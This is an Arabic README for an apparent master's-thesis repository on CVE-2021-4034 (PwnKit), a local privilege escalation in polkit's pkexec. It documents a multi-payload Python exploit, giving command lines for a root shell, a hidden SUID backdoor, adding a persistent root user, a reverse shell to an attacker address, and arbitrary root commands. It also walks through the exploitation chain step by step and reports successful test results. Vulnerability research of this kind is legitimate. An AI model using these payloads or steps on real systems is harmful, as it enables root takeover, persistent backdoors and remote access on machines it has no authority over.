
أطروحة ماجستير حول بحث CVE-2021-4034 (PwnKit) لتصعيد الامتيازات المحلية. استغلال Python متعدد الحمولات مع 7 أوضاع تشمل الصدفة التفاعلية، الباب الخلفي SUID، الصدفة العكسية، وإنشاء مستخدم جذر. يتضمن تحليل السبب الجذري وتوثيق سلسلة الاستغلال.
ثغرة تلف الذاكرة في أداة pkexec التابعة لـ polkit
تصعيد امتيازات محلي → جذر عبر كتابة خارج النطاق
المتأثر: polkit 0.105-31 والإصدارات الأقدم · التصحيح: polkit 0.105-33 (يناير 2022)
صدفة جذر تفاعلية تم الحصول عليها عبر CVE-2021-4034 - PwnKit
يحتوي هذا المستودع على بحث رسالة الماجستير الخاص بي حول CVE-2021-4034، وهي ثغرة تصعيد امتيازات محلي شديدة الخطورة (CVSS 7.8) في أداة pkexec التابعة لـ polkit، والمعروفة باسم PwnKit.
تنبع الثغرة من كتابة خارج النطاق (out-of-bounds write) في منطق معالجة الوسائط في pkexec. عند تنفيذ pkexec مع argv فارغ أو مُصمَّم بعناية، فإنها تقرأ وتكتب خارج حدود مصفوفة argv إلى مصفوفة envp، مما يسمح لمستخدم محلي غير مميَّز بحقن متغيرات بيئة خبيثة تُحمَّل لاحقًا كمكتبة مشتركة، لتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر.
| الجانب | الوصف |
|---|---|
| استغلال متعدد الحمولات | غلاف Python مع 6 أوضاع حمولات تشمل shell وid وbackdoor وreverse shell |
| إعداد بيئة آلي | إنشاء تلقائي لـ GCONV_PATH وإعداد gconv-modules |
| وحدات ما بعد الاستغلال | باب خلفي SUID، وإنشاء مستخدم جذر، وتنفيذ أوامر مخصصة |
| توثيق أكاديمي | تحليل السبب الجذري، وسلسلة الاستغلال، والجدول الزمني للثغرة |
CVE-2021-4034/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
pkexec --version يُظهر 0.105 أو إصدارًا أقدم)apt install gcc)# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell
# Verify execution context
python3 exploit/pwnkit.py -p whoami
# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"
# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
| الحمولة | الوصف | المخرَج |
|---|---|---|
shell | يفتح /bin/sh تفاعليًا بصلاحيات الجذر | صدفة تفاعلية |
id | يكتب مخرَج id وwhoami إلى /tmp/pwnkit_id.txt | ملف |
whoami | يكتب التحقق من UID/eUID إلى /tmp/pwnkit_root_test | ملف |
backdoor_suid | ينشئ نسخة bash جذرية مع SUID في /tmp/.sh | باب خلفي دائم |
add_root_user | يضيف مستخدمًا مخصصًا إلى /etc/passwd | وصول دائم |
reverse_shell | يتصل مرة أخرى بالمهاجم عبر Python | صدفة عن بُعد |
custom | ينفذ أي أمر بصلاحيات الجذر | المخرَج القياسي / ملف |
تعالج pkexec الوسائط argv الخاصة بها لتحديد البرنامج المراد تشغيله. عند استدعائها مع argc == 0 (متجه وسائط فارغ)، يفشل فحص الحدود على argv بصمت. وتتعامل القراءة اللاحقة خارج النطاق مع envp[0] على أنها argv[1]، وتسمح الكتابة خارج النطاق العائدة إلى envp للمهاجم باستبدال متغير بيئة بمسار مُصمَّم. وعندما تستدعي pkexec لاحقًا g_printerr()، فإنها تحمّل GCONV_PATH من البيئة التي أصبحت تحت سيطرة المهاجم، فتحمّل مكتبة مشتركة يوفّرها المهاجم بصلاحيات الجذر.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)
| المكوّن | القيمة | ملاحظات |
|---|---|---|
| الملف الثنائي الثغري | /usr/bin/pkexec | SUID بصلاحيات الجذر |
| شرط التفعيل | argc == 0 | argv فارغ |
| بدائية الكتابة | كتابة خارج النطاق في envp | عبر argv[argc-1] |
| آلية التحميل | GCONV_PATH + gconv-modules | iconv القياسي من glibc |
| سياق التنفيذ | gconv_init() في مكتبة مشتركة | يعمل بـ EUID 0 |
| الإصدارات المتأثرة | polkit ≤ 0.105-31 | جميع توزيعات Linux الرئيسية |







أُجريت جميع الاختبارات على جهاز افتراضي معزول VirtualBox يعمل بنظام Ubuntu 20.04 LTS مع polkit 0.105-26 (ثغري)، دون أي تعرّض للشبكة.
| الحمولة | النتيجة | ملاحظات |
|---|---|---|
shell | ✅ تم الحصول على صدفة جذر | وصول تفاعلي فوري |
id | ✅ تم تأكيد uid=0(root) | المخرَج في /tmp/pwnkit_id.txt |
whoami | ✅ تم تأكيد root | UID/eUID = 0 |
backdoor_suid | ✅ تم ضبط بت SUID على /tmp/.sh | دائم بعد الاستغلال |
add_root_user | ✅ تم إنشاء مستخدم مخصص | يبقى بعد إعادة التشغيل |
reverse_shell | ✅ تم إنشاء الاتصال | صدفة Python عكسية تعمل |
custom | ✅ تنفيذ أوامر عشوائية | سياق جذر كامل |